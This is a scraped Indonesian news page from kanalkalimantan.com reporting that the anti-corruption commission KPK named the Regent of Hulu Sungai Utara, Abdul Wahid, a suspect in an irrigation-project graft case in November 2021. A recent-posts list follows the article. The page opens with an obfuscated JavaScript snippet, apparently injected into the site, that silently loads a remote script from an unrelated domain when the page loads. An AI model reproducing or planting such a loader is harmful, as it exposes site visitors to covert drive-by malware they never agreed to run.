(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. KPK Tetapkan Bupati HSU sebagai Tersangka Korupsi


KANALKALIMANTAN.COM, JAKARTA– Komisi Pemberantasan Korupsi (KPK) akhirnya menetapkan Bupati Hulu Sungai Utara (HSU) Abdul Wahid sebagai tersangka korupsi. Bupati Wahid hadir mengenakan rompi orange saat konferensi pers yang digelar KPK, Kamis (18/11/2021) petang ini.

Komisi Pemberantasan Korupsi (KPK) dijadwalkan menggelar konferensi pers terkait kasus dugaan korupsi di Kabupaten Hulu Sungai Utara (HSU). Laman komisi anti rasuah tersebut menyampaikan akan menggelar konferensi pers pada Kamis (18/11/2021) pukul 19.15 Wib. Lalu, adakah kemungkinan KPK akan menetapkan tersangka baru dalam kasus koruspi proyek infrastruktur tersebut?

Sinyal akan adanya tersangka baru dalam kasus rehabilitasi Jaringan Irigasi DIR Kayakah Desa Kayakah Kecamatan Amuntai Selatan dengan nilai proyek Rp 1,9 miliar dan Rehabilitasi Jaringan Irigasi DIR Banjang Desa Karias Dalam, Kecamatan Banjang dengan nilai proyek Rp 1,5 miliar tersebut, terlihat dari pemeriksaan yang dilakukan secara intensif oleh penyidik KPK beberapa waktu terakhir.

Bahkan, penyidik KPK telah meminta bantuan kepada Ditjen Imigrasi Kementerian Hukum dan HAM (Kemenkumham) untuk mencekal Bupati Hulu Sungai Utara, Abdul Wahid bepergian ke luar negeri selama enam bulan ke depan.

 

 

Baca juga : KPK Dikabarkan Gelar Konferensi Pers Kasus Korupsi di HSU, Bakal Ada Tersangka Lagi?

Plt Juru Bicara KPK Ali Fikri menyebut Abdul Wahid dilarang ke luar negeri sejak 7 Oktober 2021 dalam kasus dugaan korupsi pengadaan barang dan jasa di Kabupaten Hulu Sungai Utara (HSU), Kalimantan Selatan (Kalsel) Tahun 2021-2022.

“Mengirimkan surat ke Ditjen Imigrasi Kumham RI untuk melakukan pelarangan ke luar negeri terhitung mulai 7 Oktober 2021 hingga selama 6 bulan ke depan terhadap satu orang saksi atas nama AW (Abdul Wahid),” kata Ali.

Hingga saat ini konferensi pers KPK masih berlangsung. (kanalkalimantan.com/kk)

Reporter : kk
Editor: cell


Desy Arfianty

Recent Posts

Vonis Separuh Tuntutan untuk Empat Terdakwa Korupsi Kredit Fiktif Bank

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More

14 jam ago

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

16 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

22 jam ago

Layaknya Pilkada, Pemilihan Ketua RT dan RW Serentak se Banjarbaru Digelar

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru Provinsi Kalimantan Selatan (Kalsel) tengah menggelar pemilihan ketua RT/RW serentak… Read More

23 jam ago

BPIH 2025 Resmi Turun Rp 4 Juta, Ini Komponen Utama Biaya Haji

KANALKALIMANTAN.COM, JAKARTA - Komisi VIII DPR RI bersama Kementerian Agama (Kemenag) resmi menetapkan Biaya Penyelenggaraan… Read More

1 hari ago

This website uses cookies.